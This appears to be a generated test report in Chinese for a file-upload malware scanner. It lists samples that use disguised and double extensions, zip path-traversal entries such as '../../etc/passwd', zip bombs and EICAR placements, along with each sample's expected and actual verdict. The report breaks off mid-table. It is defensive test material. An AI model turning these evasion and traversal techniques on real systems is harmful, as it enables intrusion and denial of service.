reject(score=100.0, action=reject) - 判定理由: 声明扩展名与真实类型不一致,疑似伪装
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
ExtensionMismatch |
30.0 | 扩展名声明为 .txt,实际内容为 PDF document, version 1.4(.pdf) |
structure |
L0 |
medium |
MalformedStructure |
20.0 | PDF 尾部缺少交叉引用表或 startxref 标记 |
✅ L0-008 — L0-008_disguise_png_zip.png
- 描述: 后缀伪装:png后缀,实际ZIP幻数
- 文件大小: 54 B
- 预期:
review - 实际:
reject(score=100.0, action=reject) - 判定理由: 声明扩展名与真实类型不一致,疑似伪装
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
ExtensionMismatch |
30.0 | 扩展名声明为 .png,实际内容为 ZIP 压缩包(已损坏)(.zip) |
structure |
L0 |
medium |
MalformedStructure |
25.0 | ZIP/OOXML 包结构损坏: File is not a zip file |
✅ L0-009 — L0-009_double_ext_pdf_exe.pdf.exe
- 描述: 双扩展名伪装:report.pdf.exe
- 文件大小: 104 B
- 预期:
reject - 实际:
reject(score=100.0, action=reject) - 判定理由: 双扩展名伪装,高风险
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DoubleExtension |
35.0 | 文件名包含多个扩展名:L0-009_double_ext_pdf_exe.pdf.exe |
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
structure |
L0 |
critical |
DoubleExtension |
90.0 | 双扩展名伪装:L0-009_double_ext_pdf_exe.pdf.exe |
binary |
L2B |
medium |
PeParseFailed |
10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
✅ L0-010 — L0-010_double_ext_txt_ps1.txt.ps1
- 描述: 双扩展名伪装:data.txt.ps1
- 文件大小: 10 B
- 预期:
reject - 实际:
reject(score=100.0, action=reject) - 判定理由: 双扩展名伪装,高风险
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DoubleExtension |
35.0 | 文件名包含多个扩展名:L0-010_double_ext_txt_ps1.txt.ps1 |
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.ps1 |
structure |
L0 |
critical |
DoubleExtension |
90.0 | 双扩展名伪装:L0-010_double_ext_txt_ps1.txt.ps1 |
✅ L0-011 — L0-011_double_ext_docx_js.docx.js
- 描述: 双扩展名伪装:note.docx.js
- 文件大小: 11 B
- 预期:
reject - 实际:
reject(score=100.0, action=reject) - 判定理由: 双扩展名伪装,高风险
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DoubleExtension |
35.0 | 文件名包含多个扩展名:L0-011_double_ext_docx_js.docx.js |
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.js |
structure |
L0 |
critical |
DoubleExtension |
90.0 | 双扩展名伪装:L0-011_double_ext_docx_js.docx.js |
✅ L0-012 — L0-012_double_ext_xlsx_bat.xlsx.bat
- 描述: 双扩展名伪装:log.xlsx.bat
- 文件大小: 21 B
- 预期:
reject - 实际:
reject(score=100.0, action=reject) - 判定理由: 双扩展名伪装,高风险
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DoubleExtension |
35.0 | 文件名包含多个扩展名:L0-012_double_ext_xlsx_bat.xlsx.bat |
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.bat |
structure |
L0 |
critical |
DoubleExtension |
90.0 | 双扩展名伪装:L0-012_double_ext_xlsx_bat.xlsx.bat |
✅ L0-013 — L0-013_clean.ps1
- 描述: 干净 ps1 文件
- 文件大小: 0 B
- 预期:
review - 实际:
suspicious(score=30.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.ps1
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.ps1 |
✅ L0-014 — L0-014_clean.bat
- 描述: 干净 bat 文件
- 文件大小: 0 B
- 预期:
review - 实际:
suspicious(score=30.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.bat
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.bat |
✅ L0-015 — L0-015_clean.cmd
- 描述: 干净 cmd 文件
- 文件大小: 0 B
- 预期:
review - 实际:
suspicious(score=30.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.cmd
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.cmd |
✅ L0-016 — L0-016_clean.vbs
- 描述: 干净 vbs 文件
- 文件大小: 0 B
- 预期:
review - 实际:
suspicious(score=30.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.vbs
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.vbs |
✅ L0-017 — L0-017_clean.js
- 描述: 干净 js 文件
- 文件大小: 0 B
- 预期:
review - 实际:
suspicious(score=30.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.js
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.js |
✅ L0-018 — L0-018_zip_traversal.zip
- 描述: ZIP单级路径穿越:../test.txt
- 文件大小: 137 B
- 预期:
reject - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 PathTraversal 命中:归档内含路径穿越条目:../evil_drop.txt
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
PathTraversal |
50.0 | 归档内含路径穿越条目:../evil_drop.txt |
extractor |
L0 |
critical |
PathTraversalBlocked |
50.0 | 已拦截路径穿越条目:../evil_drop.txt |
✅ L0-019 — L0-019_zip_deep_traversal.zip
- 描述: ZIP多级路径穿越:../../a.txt
- 文件大小: 147 B
- 预期:
reject - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 PathTraversal 命中:归档内含路径穿越条目:../../system_drop.txt
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
PathTraversal |
50.0 | 归档内含路径穿越条目:../../system_drop.txt |
extractor |
L0 |
critical |
PathTraversalBlocked |
50.0 | 已拦截路径穿越条目:../../system_drop.txt |
✅ L0-020 — L0-020_zip_bomb.zip
- 描述: ZIP炸弹42.zip
- 文件大小: 2,553,622 B
- 预期:
reject - 实际:
reject(score=100.0, action=reject) - 判定理由: 压缩比异常,疑似压缩炸弹
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
ArchiveBombSuspect |
35.0 | 压缩比 1028.6:1 超过阈值 100:1,疑似压缩炸弹 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0000.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0001.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0002.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0003.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0004.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0005.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0006.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0007.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0008.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0009.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0010.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0011.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0012.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0013.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0014.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0015.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0016.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0017.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0018.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0019.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0020.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0021.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0022.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0023.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0024.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0025.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0026.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0027.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0028.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0029.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0030.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0031.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0032.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0033.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0034.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0035.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0036.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0037.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0038.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0039.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0040.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0041.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0042.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0043.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0044.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0045.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0046.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0047.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0048.dat 压缩比 1028.6:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0049.dat 压缩比 1028.6:1 超过阈值,已跳过 |
✅ L0-021 — L0-021_small_bomb.zip
- 描述: 自制小型 zip 炸弹(50 成员 × 8KB STORED)
- 文件大小: 409,802 B
- 预期:
reject - 实际:
reject(score=100.0, action=reject) - 判定理由: 压缩比异常,疑似压缩炸弹
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
ArchiveBombSuspect |
35.0 | 压缩比 1028.7:1 超过阈值 100:1,疑似压缩炸弹 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0000.dat 压缩比 1028.7:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0001.dat 压缩比 1028.7:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0002.dat 压缩比 1028.7:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0003.dat 压缩比 1028.7:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0004.dat 压缩比 1028.7:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0005.dat 压缩比 1028.7:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0006.dat 压缩比 1028.7:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0007.dat 压缩比 1028.7:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0008.dat 压缩比 1028.7:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0009.dat 压缩比 1028.7:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0010.dat 压缩比 1028.7:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0011.dat 压缩比 1028.7:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0012.dat 压缩比 1028.7:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0013.dat 压缩比 1028.7:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0014.dat 压缩比 1028.7:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0015.dat 压缩比 1028.7:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0016.dat 压缩比 1028.7:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0017.dat 压缩比 1028.7:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0018.dat 压缩比 1028.7:1 超过阈值,已跳过 |
extractor |
L0 |
high |
ArchiveBombBlocked |
35.0 | 成员 bomb_0019.dat 压缩比 1028.7:1 超过阈值,已跳过 |
✅ L0-022 — L0-022_3layer_nested.zip
- 描述: 3层无害嵌套ZIP
- 文件大小: 365 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ L0-023 — L0-023_5layer_nested.zip
- 描述: 5 层无害嵌套 ZIP
- 文件大小: 952 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ L0-024 — L0-024_encrypted.zip
- 描述: 加密 ZIP(标记待验证)
- 文件大小: 144 B
- 预期:
review - 实际:
suspicious(score=20.0, action=pass_with_flag) - 判定理由: 风险评分 20.0
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
medium |
EncryptedArchive |
20.0 | 归档内含加密成员 1 个(bit0 flag 置位),无法扫描内部内容 |
extractor |
L0 |
low |
ExtractMemberFailed |
0.0 | 成员 secret.txt 解压失败:File <ZipInfo filename='secret.txt' compress_type=deflate filemode='?rw-------' file_size=26 compress |
✅ L0-025 — L0-025_corrupt_zip.zip
- 描述: 截断损坏 ZIP 头
- 文件大小: 59 B
- 预期:
review - 实际:
suspicious(score=35.0, action=manual_review) - 判定理由: 风险评分 35.0
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
medium |
MalformedStructure |
25.0 | ZIP/OOXML 包结构损坏: File is not a zip file |
extractor |
L0 |
medium |
ArchiveBroken |
10.0 | ZIP 结构损坏:File is not a zip file |
✅ L0-026 — L0-026_corrupt_direntry.zip
- 描述: 损坏ZIP目录项
- 文件大小: 130 B
- 预期:
review - 实际:
suspicious(score=25.0, action=pass_with_flag) - 判定理由: 风险评分 25.0
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
medium |
MalformedStructure |
25.0 | ZIP 尾部 EOCD 后存在 12 字节多余数据,疑似篡改或假损坏 |
✅ L0-027 — L0-027_long_filename.zip
- 描述: 压缩包内 200 字符超长文件名
- 文件大小: 519 B
- 预期:
review - 实际:
suspicious(score=5.0, action=pass_with_flag) - 判定理由: 风险评分 5.0
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
low |
LongFilename |
5.0 | 归档内存在超长文件名(>120 字符)1 个,可能规避扫描或探测边界 |
✅ L0-028 — L0-028_unicode_filename.zip
- 描述: unicode/emoji 文件名
- 文件大小: 285 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ L0-029 — L0-029_zero_byte_exe.exe
- 描述: 空文件(0字节)后缀exe
- 文件大小: 0 B
- 预期:
review - 实际:
suspicious(score=55.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.exe
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
binary |
L2B |
medium |
PeParseFailed |
10.0 | PE 结构解析失败:'The file is empty' |
✅ L0-030 — L0-030_nested_traversal.zip
- 描述: 嵌套 zip 内含穿越条目
- 文件大小: 647 B
- 预期:
reject - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 PathTraversal 命中:归档内含路径穿越条目:../evil_script.sh, ../../etc/passwd
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
PathTraversal |
50.0 | 归档内含路径穿越条目:../evil_script.sh, ../../etc/passwd |
structure |
L0 |
high |
ArchiveContainsExecutable |
30.0 | 归档内含可执行文件 1 个:../evil_script.sh |
extractor |
L0 |
critical |
PathTraversalBlocked |
50.0 | 已拦截路径穿越条目:../evil_script.sh |
extractor |
L0 |
critical |
PathTraversalBlocked |
50.0 | 已拦截路径穿越条目:../../etc/passwd |
L1
✅ L1-001 — L1-001_eicar.txt
- 描述: EICAR标准测试串文本
- 文件大小: 68 B
- 预期:
reject - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
EmbeddedEICAR |
35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) |
clamav |
L1 |
critical |
Eicar-Test-Signature |
90.0 | ClamAV 签名命中:Eicar-Test-Signature |
✅ L1-002 — L1-002_eicar_in_zip.zip
- 描述: EICAR放入zip压缩包
- 文件大小: 184 B
- 预期:
reject - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
clamav |
L1 |
critical |
Eicar-Test-Signature |
90.0 | ClamAV 签名命中:Eicar-Test-Signature |
✅ L1-003 — L1-003_eicar_in_encrypted.zip
- 描述: 加密 ZIP(占位:实际加密需 7z/zip -P)
- 文件大小: 198 B
- 预期:
review - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
clamav |
L1 |
critical |
Eicar-Test-Signature |
90.0 | ClamAV 签名命中:Eicar-Test-Signature |
✅ L1-004 — L1-004_eicar_in_docx.docx
- 描述: EICAR放入docx内嵌(OLE)
- 文件大小: 336 B
- 预期:
reject - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
clamav |
L1 |
critical |
Eicar-Test-Signature |
90.0 | ClamAV 签名命中:Eicar-Test-Signature |
✅ L1-005 — L1-005_eicar_modified.txt
- 描述: 修改 1 字节 EICAR,ClamAV 不应命中
- 文件大小: 68 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ L1-006 — L0-001_jpg_normal.jpg
- 描述: 干净jpg图片(对照负样本)
- 文件大小: 54 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ L1-007 — L0-003_docx_normal.docx
- 描述: 干净docx文档(对照负样本)
- 文件大小: 281 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ L1-008 — L0-005_pe_clean.exe
- 描述: 干净hello PE(对照负样本)
- 文件大小: 926 B
- 预期:
pass - 实际:
suspicious(score=55.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.exe
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
binary |
L2B |
medium |
PeParseFailed |
10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
✅ L1-009 — L1-009_minimal.cvd
- 描述: 热加载测试占位(需真实 .cvd 文件)
- 文件大小: 38 B
- 预期:
review - 实际:
reject(score=100.0, action=reject) - 判定理由: 文件类型 .cvd 不在允许清单内
命中规则: 无
✅ L1-010 — L1-010_corrupt.cvd
- 描述: 损坏病毒库占位
- 文件大小: 30 B
- 预期:
reject - 实际:
reject(score=100.0, action=reject) - 判定理由: 文件类型 .cvd 不在允许清单内
命中规则: 无
✅ L1-011 — L1-011_eicar_in_3layer.zip
- 描述: EICAR放在多层嵌套zip
- 文件大小: 412 B
- 预期:
reject - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
clamav |
L1 |
critical |
Eicar-Test-Signature |
90.0 | ClamAV 签名命中:Eicar-Test-Signature |
✅ L1-012 — L1-012_eicar_base64.txt
- 描述: base64 编码 EICAR,ClamAV 不解码
- 文件大小: 92 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ L1-013 — L1-013_bigfile_eicar.txt
- 描述: 10MB+ 文本尾部含 EICAR
- 文件大小: 800,070 B
- 预期:
review - 实际:
suspicious(score=35.0, action=manual_review) - 判定理由: structure:文件内嵌 EICAR 测试病毒字节序列(文件大小 800070B)
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
EmbeddedEICAR |
35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 800070B) |
✅ L1-014 — L1-014_concurrent_test.txt
- 描述: 并发压测占位(靠 API 并发调用)
- 文件大小: 163 B
- 预期:
review - 实际:
suspicious(score=35.0, action=manual_review) - 判定理由: structure:文件内嵌 EICAR 测试病毒字节序列(文件大小 163B)
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
EmbeddedEICAR |
35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 163B) |
✅ L1-014-00 — L1-014_concurrent_eicar_00.txt
- 描述: 并发压测占位 #0
- 文件大小: 68 B
- 预期:
reject - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
EmbeddedEICAR |
35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) |
clamav |
L1 |
critical |
Eicar-Test-Signature |
90.0 | ClamAV 签名命中:Eicar-Test-Signature |
✅ L1-014-01 — L1-014_concurrent_eicar_01.txt
- 描述: 并发压测占位 #1
- 文件大小: 68 B
- 预期:
reject - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
EmbeddedEICAR |
35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) |
clamav |
L1 |
critical |
Eicar-Test-Signature |
90.0 | ClamAV 签名命中:Eicar-Test-Signature |
✅ L1-014-02 — L1-014_concurrent_eicar_02.txt
- 描述: 并发压测占位 #2
- 文件大小: 68 B
- 预期:
reject - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
EmbeddedEICAR |
35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) |
clamav |
L1 |
critical |
Eicar-Test-Signature |
90.0 | ClamAV 签名命中:Eicar-Test-Signature |
✅ L1-014-03 — L1-014_concurrent_eicar_03.txt
- 描述: 并发压测占位 #3
- 文件大小: 68 B
- 预期:
reject - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
EmbeddedEICAR |
35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) |
clamav |
L1 |
critical |
